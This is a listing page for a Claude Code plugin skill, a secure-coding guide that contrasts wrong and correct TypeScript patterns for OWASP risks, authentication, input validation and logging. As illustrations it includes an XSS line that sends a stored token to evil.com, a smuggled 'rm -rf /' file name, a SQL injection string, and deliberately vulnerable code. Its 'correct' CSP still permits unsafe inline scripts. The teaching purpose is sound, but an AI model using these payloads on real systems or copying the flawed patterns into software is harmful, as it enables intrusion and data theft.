← Back to list

security-patterns
by mnthe
Hardwork plugin for Claude Code (ultrawork / teamwork)
⭐ 2🍴 0📅 Jan 21, 2026
SKILL.md
name: security-patterns description: Security best practices for authentication, input validation, OWASP patterns, and secure coding. Use when handling user input, auth, secrets, or sensitive data.
Security Patterns
Comprehensive security patterns and best practices for secure application development.
When to Use
- Implementing authentication or authorization
- Handling user input or file uploads
- Working with secrets or environment variables
- Creating API endpoints
- Storing or transmitting sensitive data
- Integrating third-party services
OWASP Top 10 Patterns
1. Broken Access Control
❌ WRONG: Missing Authorization
export async function DELETE(request: Request) {
const { userId } = await request.json()
// No authorization check - anyone can delete any user
await db.users.delete({ where: { id: userId } })
return NextResponse.json({ success: true })
}
✅ CORRECT: Proper Authorization
export async function DELETE(request: Request) {
const session = await getSession(request)
const { userId } = await request.json()
// Check if user is authorized
if (session.userId !== userId && session.role !== 'admin') {
return NextResponse.json(
{ error: 'Unauthorized' },
{ status: 403 }
)
}
await db.users.delete({ where: { id: userId } })
return NextResponse.json({ success: true })
}
2. Cryptographic Failures
❌ WRONG: Hardcoded Secrets
const JWT_SECRET = "my-super-secret-key"
const API_KEY = "sk-proj-xxxxxxxxxxxxx"
const DATABASE_URL = "postgresql://user:password@localhost/db"
✅ CORRECT: Environment Variables
// .env.local (never commit this file)
JWT_SECRET=use-a-strong-randomly-generated-secret
OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxx
DATABASE_URL=postgresql://user:password@host/db
// app code
const jwtSecret = process.env.JWT_SECRET
if (!jwtSecret) {
throw new Error('JWT_SECRET environment variable not set')
}
const apiKey = process.env.OPENAI_API_KEY
if (!apiKey) {
throw new Error('OPENAI_API_KEY not configured')
}
Verification Steps:
- No secrets in source code
-
.env.localin.gitignore - Secrets validated at startup
- Production secrets in hosting platform (Vercel, Railway)
- No secrets in git history (
git log --all --full-history --source -- .env*)
3. Injection Attacks
SQL Injection
❌ WRONG: String Concatenation
const email = request.body.email
const query = `SELECT * FROM users WHERE email = '${email}'`
await db.query(query)
// Vulnerable to: ' OR '1'='1
✅ CORRECT: Parameterized Queries
// With Supabase
const { data, error } = await supabase
.from('users')
.select('*')
.eq('email', email)
// With raw SQL
await db.query(
'SELECT * FROM users WHERE email = $1',
[email]
)
Command Injection
❌ WRONG: Unsanitized Shell Commands
import { exec } from 'child_process'
const filename = request.body.filename
exec(`cat ${filename}`, callback)
// Vulnerable to: file.txt; rm -rf /
✅ CORRECT: Avoid Shell Commands
import { readFile } from 'fs/promises'
import path from 'path'
const filename = request.body.filename
const safePath = path.join('/safe/directory', path.basename(filename))
const content = await readFile(safePath, 'utf8')
4. Insecure Design
❌ WRONG: Weak Password Requirements
function validatePassword(password: string) {
return password.length >= 6
}
✅ CORRECT: Strong Password Policy
import { z } from 'zod'
const PasswordSchema = z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character')
function validatePassword(password: string) {
try {
PasswordSchema.parse(password)
return { valid: true }
} catch (error) {
return { valid: false, errors: error.errors }
}
}
Input Validation Patterns
Schema-Based Validation
import { z } from 'zod'
// Define schemas for all inputs
const CreateUserSchema = z.object({
email: z.string().email(),
name: z.string().min(1).max(100),
age: z.number().int().min(0).max(150).optional(),
role: z.enum(['user', 'admin', 'moderator']),
metadata: z.record(z.string()).optional()
})
export async function POST(request: Request) {
try {
const body = await request.json()
const validated = CreateUserSchema.parse(body)
// Safe to use validated data
const user = await db.users.create(validated)
return NextResponse.json({ success: true, user })
} catch (error) {
if (error instanceof z.ZodError) {
return NextResponse.json(
{ error: 'Validation failed', details: error.errors },
{ status: 400 }
)
}
throw error
}
}
File Upload Validation
const MAX_FILE_SIZE = 5 * 1024 * 1024 // 5MB
const ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']
const ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.webp']
function validateFileUpload(file: File): { valid: boolean; error?: string } {
// Size check
if (file.size > MAX_FILE_SIZE) {
return { valid: false, error: 'File too large (max 5MB)' }
}
// MIME type check
if (!ALLOWED_TYPES.includes(file.type)) {
return { valid: false, error: 'Invalid file type' }
}
// Extension check (prevent bypass via MIME type)
const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]
if (!extension || !ALLOWED_EXTENSIONS.includes(extension)) {
return { valid: false, error: 'Invalid file extension' }
}
return { valid: true }
}
Sanitize HTML Input
import DOMPurify from 'isomorphic-dompurify'
function sanitizeUserHTML(html: string): string {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: [],
ALLOW_DATA_ATTR: false
})
}
// Use in component
function UserContent({ html }: { html: string }) {
const clean = sanitizeUserHTML(html)
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
Authentication Patterns
JWT Token Handling
❌ WRONG: localStorage (XSS vulnerable)
// Client-side
localStorage.setItem('token', token)
// Attacker can steal via XSS:
// <script>fetch('evil.com?token='+localStorage.token)</script>
✅ CORRECT: httpOnly Cookies
// Server-side
export async function POST(request: Request) {
const { email, password } = await request.json()
const user = await authenticateUser(email, password)
if (!user) {
return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
}
const token = await generateJWT(user)
const response = NextResponse.json({ success: true })
response.cookies.set('token', token, {
httpOnly: true, // Cannot be accessed by JavaScript
secure: true, // Only sent over HTTPS
sameSite: 'strict', // CSRF protection
maxAge: 60 * 60 * 24 // 24 hours
})
return response
}
Password Hashing
❌ WRONG: Plain Text or Weak Hashing
import crypto from 'crypto'
// Never store plain text
const user = { email, password: password }
// MD5/SHA1 are too fast (vulnerable to brute force)
const hash = crypto.createHash('md5').update(password).digest('hex')
✅ CORRECT: bcrypt or Argon2
import bcrypt from 'bcryptjs'
// Hash password with salt
async function hashPassword(password: string): Promise<string> {
const saltRounds = 12 // Increase for more security
return await bcrypt.hash(password, saltRounds)
}
// Verify password
async function verifyPassword(password: string, hash: string): Promise<boolean> {
return await bcrypt.compare(password, hash)
}
// Usage
const hashedPassword = await hashPassword(plainPassword)
await db.users.create({ email, password: hashedPassword })
Multi-Factor Authentication
import speakeasy from 'speakeasy'
import QRCode from 'qrcode'
// Generate MFA secret
async function setupMFA(userId: string, email: string) {
const secret = speakeasy.generateSecret({
name: `MyApp (${email})`,
length: 32
})
// Save secret to database
await db.users.update({
where: { id: userId },
data: { mfaSecret: secret.base32 }
})
// Generate QR code for authenticator app
const qrCode = await QRCode.toDataURL(secret.otpauth_url!)
return { secret: secret.base32, qrCode }
}
// Verify MFA token
function verifyMFAToken(token: string, secret: string): boolean {
return speakeasy.totp.verify({
secret,
encoding: 'base32',
token,
window: 2 // Allow 2 time steps before/after
})
}
Authorization Patterns
Role-Based Access Control (RBAC)
type Role = 'user' | 'moderator' | 'admin'
const PERMISSIONS = {
user: ['read:own', 'write:own'],
moderator: ['read:all', 'write:all', 'delete:flagged'],
admin: ['read:all', 'write:all', 'delete:all', 'manage:users']
} as const
function hasPermission(role: Role, permission: string): boolean {
return PERMISSIONS[role].includes(permission)
}
// Middleware
async function requirePermission(permission: string) {
return async (request: Request) => {
const session = await getSession(request)
if (!session || !hasPermission(session.role, permission)) {
return NextResponse.json({ error: 'Forbidden' }, { status: 403 })
}
return null // Continue
}
}
// Usage
export async function DELETE(request: Request) {
const authError = await requirePermission('delete:all')(request)
if (authError) return authError
// Proceed with deletion
}
Row Level Security (Supabase)
-- Enable RLS on tables
ALTER TABLE posts ENABLE ROW LEVEL SECURITY;
-- Users can only read their own posts
CREATE POLICY "Users read own posts"
ON posts FOR SELECT
USING (auth.uid() = user_id);
-- Users can only insert their own posts
CREATE POLICY "Users insert own posts"
ON posts FOR INSERT
WITH CHECK (auth.uid() = user_id);
-- Users can only update their own posts
CREATE POLICY "Users update own posts"
ON posts FOR UPDATE
USING (auth.uid() = user_id);
-- Users can only delete their own posts
CREATE POLICY "Users delete own posts"
ON posts FOR DELETE
USING (auth.uid() = user_id);
-- Admins can do anything
CREATE POLICY "Admins full access"
ON posts FOR ALL
USING (
EXISTS (
SELECT 1 FROM users
WHERE users.id = auth.uid()
AND users.role = 'admin'
)
);
Rate Limiting
import rateLimit from 'express-rate-limit'
// General API rate limit
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: 'Too many requests, please try again later',
standardHeaders: true,
legacyHeaders: false
})
// Strict rate limit for expensive operations
const searchLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10, // 10 requests per minute
message: 'Too many search requests'
})
// Auth rate limit (prevent brute force)
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 failed attempts
skipSuccessfulRequests: true
})
app.use('/api/', apiLimiter)
app.use('/api/search', searchLimiter)
app.use('/api/auth/login', authLimiter)
Security Headers
// next.config.js
const securityHeaders = [
{
key: 'X-DNS-Prefetch-Control',
value: 'on'
},
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload'
},
{
key: 'X-Frame-Options',
value: 'SAMEORIGIN'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'X-XSS-Protection',
value: '1; mode=block'
},
{
key: 'Referrer-Policy',
value: 'origin-when-cross-origin'
},
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
script-src 'self' 'unsafe-eval' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
`.replace(/\s{2,}/g, ' ').trim()
}
]
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders
}
]
}
}
Logging Best Practices
❌ WRONG: Logging Sensitive Data
console.log('Login attempt:', { email, password })
console.log('Payment processed:', { cardNumber, cvv, amount })
console.log('Error:', error) // May contain tokens in stack trace
✅ CORRECT: Redact Sensitive Data
function sanitizeForLogging(data: any): any {
const sensitive = ['password', 'token', 'secret', 'apiKey', 'cvv', 'ssn']
const sanitized = { ...data }
for (const key of sensitive) {
if (key in sanitized) {
sanitized[key] = '[REDACTED]'
}
}
return sanitized
}
console.log('Login attempt:', sanitizeForLogging({ email, password }))
console.log('Payment processed:', { userId, amount, last4: card.last4 })
console.error('Error:', { message: error.message, userId, endpoint })
Pre-Deployment Security Checklist
- Secrets: No hardcoded secrets, all in environment variables
- Input Validation: All user inputs validated with schemas
- SQL Injection: All queries use parameterized queries or ORM
- XSS Prevention: User HTML sanitized, CSP headers configured
- CSRF Protection: SameSite cookies, CSRF tokens on mutations
- Authentication: Tokens in httpOnly cookies, passwords hashed with bcrypt
- Authorization: Role checks on all protected routes
- Rate Limiting: Enabled on all public endpoints
- HTTPS: Enforced in production (HSTS headers)
- Security Headers: All headers configured (CSP, X-Frame-Options, etc.)
- Error Handling: Generic error messages, no stack traces to users
- Logging: No sensitive data logged (passwords, tokens, PII)
- Dependencies: Up to date, no known vulnerabilities (npm audit)
- File Uploads: Validated (size, type, extension)
- CORS: Properly configured, not
*in production
Resources
Score
Total Score
60/100
Based on repository quality metrics
✓SKILL.md
SKILL.mdファイルが含まれている
+20
✓LICENSE
ライセンスが設定されている
+10
○説明文
100文字以上の説明がある
0/10
○人気
GitHub Stars 100以上
0/15
○最近の活動
3ヶ月以内に更新がある
0/10
○フォーク
10回以上フォークされている
0/5
✓Issue管理
オープンIssueが50未満
+5
✓言語
プログラミング言語が設定されている
+5
○タグ
1つ以上のタグが設定されている
0/5
Reviews
💬
Reviews coming soon